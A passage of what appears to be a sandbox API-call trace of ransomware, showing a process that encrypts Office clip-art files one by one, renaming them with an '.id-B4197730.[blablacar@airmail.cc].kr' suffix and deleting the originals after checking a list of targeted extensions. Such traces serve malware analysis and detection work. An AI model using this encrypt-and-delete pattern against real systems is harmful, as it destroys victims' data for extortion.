lpString2=".MID") returned 1 [0184.709] lstrlenW (lpString=".bz2") returned 4 [0184.709] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.709] lstrlenW (lpString=".7z") returned 3 [0184.709] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.709] lstrlenW (lpString=".dbf") returned 4 [0184.709] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.709] lstrlenW (lpString=".1cd") returned 4 [0184.709] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.709] lstrlenW (lpString=".jpg") returned 4 [0184.709] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.709] lstrlenW (lpString=".doc") returned 4 [0184.709] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.709] lstrlenW (lpString=".docx") returned 5 [0184.709] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.709] lstrlenW (lpString=".pdf") returned 4 [0184.709] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.709] lstrlenW (lpString=".xls") returned 4 [0184.710] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.710] lstrlenW (lpString=".xlsx") returned 5 [0184.710] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.710] lstrlenW (lpString=".ppt") returned 4 [0184.710] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.710] lstrlenW (lpString=".zip") returned 4 [0184.710] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.710] lstrlenW (lpString=".rar") returned 4 [0184.710] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.710] lstrlenW (lpString=".bz2") returned 4 [0184.710] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.710] lstrlenW (lpString=".7z") returned 3 [0184.710] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.710] lstrlenW (lpString=".dbf") returned 4 [0184.710] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.710] lstrlenW (lpString=".1cd") returned 4 [0184.710] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.710] lstrlenW (lpString=".jpg") returned 4 [0184.710] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.710] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.710] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0184.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.711] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10562) returned 1 [0184.711] CloseHandle (hObject=0x500) returned 1 [0184.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0184.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.713] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.713] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.713] GetLastError () returned 0x0 [0184.713] ReadFile (in: hFile=0x500, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2942, lpOverlapped=0x0) returned 1 [0184.715] WriteFile (in: hFile=0x50c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2950, lpOverlapped=0x0) returned 1 [0184.716] ReadFile (in: hFile=0x500, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.716] WriteFile (in: hFile=0x50c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.716] SetEndOfFile (hFile=0x50c) returned 1 [0184.716] CloseHandle (hObject=0x50c) returned 1 [0184.716] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.716] SetEndOfFile (hFile=0x500) returned 1 [0184.721] CloseHandle (hObject=0x500) returned 1 [0184.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.722] lstrlenW (lpString=".doc") returned 4 [0184.722] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.722] lstrlenW (lpString=".docx") returned 5 [0184.722] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.722] lstrlenW (lpString=".pdf") returned 4 [0184.722] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.722] lstrlenW (lpString=".xls") returned 4 [0184.722] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.722] lstrlenW (lpString=".xlsx") returned 5 [0184.722] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.722] lstrlenW (lpString=".ppt") returned 4 [0184.722] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.722] lstrlenW (lpString=".zip") returned 4 [0184.722] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.722] lstrlenW (lpString=".rar") returned 4 [0184.722] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.722] lstrlenW (lpString=".bz2") returned 4 [0184.722] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.722] lstrlenW (lpString=".7z") returned 3 [0184.722] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.722] lstrlenW (lpString=".dbf") returned 4 [0184.722] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.722] lstrlenW (lpString=".1cd") returned 4 [0184.722] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.722] lstrlenW (lpString=".jpg") returned 4 [0184.723] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.723] lstrlenW (lpString=".doc") returned 4 [0184.723] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.723] lstrlenW (lpString=".docx") returned 5 [0184.723] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.723] lstrlenW (lpString=".pdf") returned 4 [0184.723] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.723] lstrlenW (lpString=".xls") returned 4 [0184.723] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.723] lstrlenW (lpString=".xlsx") returned 5 [0184.723] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.723] lstrlenW (lpString=".ppt") returned 4 [0184.723] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.723] lstrlenW (lpString=".zip") returned 4 [0184.723] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.723] lstrlenW (lpString=".rar") returned 4 [0184.723] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.723] lstrlenW (lpString=".bz2") returned 4 [0184.723] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.723] lstrlenW (lpString=".7z") returned 3 [0184.723] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.723] lstrlenW (lpString=".dbf") returned 4 [0184.723] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.723] lstrlenW (lpString=".1cd") returned 4 [0184.723] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0184.723] lstrlenW (lpString=".jpg") returned 4 [0184.723] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.724] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.724] lstrlenW (lpString="FALL_01.MID") returned 11 [0184.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.725] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4846) returned 1 [0184.725] CloseHandle (hObject=0x500) returned 1 [0184.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0184.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.725] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.725] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.726] GetLastError () returned 0x0 [0184.726] ReadFile (in: hFile=0x500, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x12ee, lpOverlapped=0x0) returned 1 [0184.728] WriteFile (in: hFile=0x50c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x12f0, lpOverlapped=0x0) returned 1 [0184.729] ReadFile (in: hFile=0x500, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.729] WriteFile (in: hFile=0x50c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xea, lpOverlapped=0x0) returned 1 [0184.729] SetEndOfFile (hFile=0x50c) returned 1 [0184.729] CloseHandle (hObject=0x50c) returned 1 [0184.729] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.729] SetEndOfFile (hFile=0x500) returned 1 [0184.732] CloseHandle (hObject=0x500) returned 1 [0184.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0184.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.733] lstrlenW (lpString=".doc") returned 4 [0184.733] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.733] lstrlenW (lpString=".docx") returned 5 [0184.733] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.733] lstrlenW (lpString=".pdf") returned 4 [0184.733] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.733] lstrlenW (lpString=".xls") returned 4 [0184.733] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.733] lstrlenW (lpString=".xlsx") returned 5 [0184.733] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.733] lstrlenW (lpString=".ppt") returned 4 [0184.733] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.733] lstrlenW (lpString=".zip") returned 4 [0184.733] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.733] lstrlenW (lpString=".rar") returned 4 [0184.733] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.733] lstrlenW (lpString=".bz2") returned 4 [0184.733] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.733] lstrlenW (lpString=".7z") returned 3 [0184.733] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.733] lstrlenW (lpString=".dbf") returned 4 [0184.733] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.733] lstrlenW (lpString=".1cd") returned 4 [0184.734] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.734] lstrlenW (lpString=".jpg") returned 4 [0184.734] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.734] lstrlenW (lpString=".doc") returned 4 [0184.734] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.734] lstrlenW (lpString=".docx") returned 5 [0184.734] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.734] lstrlenW (lpString=".pdf") returned 4 [0184.734] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.734] lstrlenW (lpString=".xls") returned 4 [0184.734] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.734] lstrlenW (lpString=".xlsx") returned 5 [0184.734] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.734] lstrlenW (lpString=".ppt") returned 4 [0184.734] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.734] lstrlenW (lpString=".zip") returned 4 [0184.734] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.734] lstrlenW (lpString=".rar") returned 4 [0184.734] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.734] lstrlenW (lpString=".bz2") returned 4 [0184.734] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.734] lstrlenW (lpString=".7z") returned 3 [0184.734] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.734] lstrlenW (lpString=".dbf") returned 4 [0184.734] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.734] lstrlenW (lpString=".1cd") returned 4 [0184.735] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0184.735] lstrlenW (lpString=".jpg") returned 4 [0184.735] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.735] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.735] lstrlenW (lpString="FINCL_01.MID") returned 12 [0184.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.915] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12981) returned 1 [0184.915] CloseHandle (hObject=0x520) returned 1 [0184.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0184.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.916] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.916] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.917] GetLastError () returned 0x0 [0184.917] ReadFile (in: hFile=0x520, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x32b5, lpOverlapped=0x0) returned 1 [0184.918] WriteFile (in: hFile=0x53c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0184.920] ReadFile (in: hFile=0x520, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.920] WriteFile (in: hFile=0x53c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.920] SetEndOfFile (hFile=0x53c) returned 1 [0184.920] CloseHandle (hObject=0x53c) returned 1 [0184.920] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.920] SetEndOfFile (hFile=0x520) returned 1 [0184.927] CloseHandle (hObject=0x520) returned 1 [0184.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0184.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.932] lstrlenW (lpString=".doc") returned 4 [0184.932] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.932] lstrlenW (lpString=".docx") returned 5 [0184.932] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.932] lstrlenW (lpString=".pdf") returned 4 [0184.932] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.932] lstrlenW (lpString=".xls") returned 4 [0184.932] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.932] lstrlenW (lpString=".xlsx") returned 5 [0184.932] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.932] lstrlenW (lpString=".ppt") returned 4 [0184.932] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.932] lstrlenW (lpString=".zip") returned 4 [0184.932] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.932] lstrlenW (lpString=".rar") returned 4 [0184.932] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.932] lstrlenW (lpString=".bz2") returned 4 [0184.932] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.932] lstrlenW (lpString=".7z") returned 3 [0184.932] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.932] lstrlenW (lpString=".dbf") returned 4 [0184.932] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.932] lstrlenW (lpString=".1cd") returned 4 [0184.932] lstrcmpiW 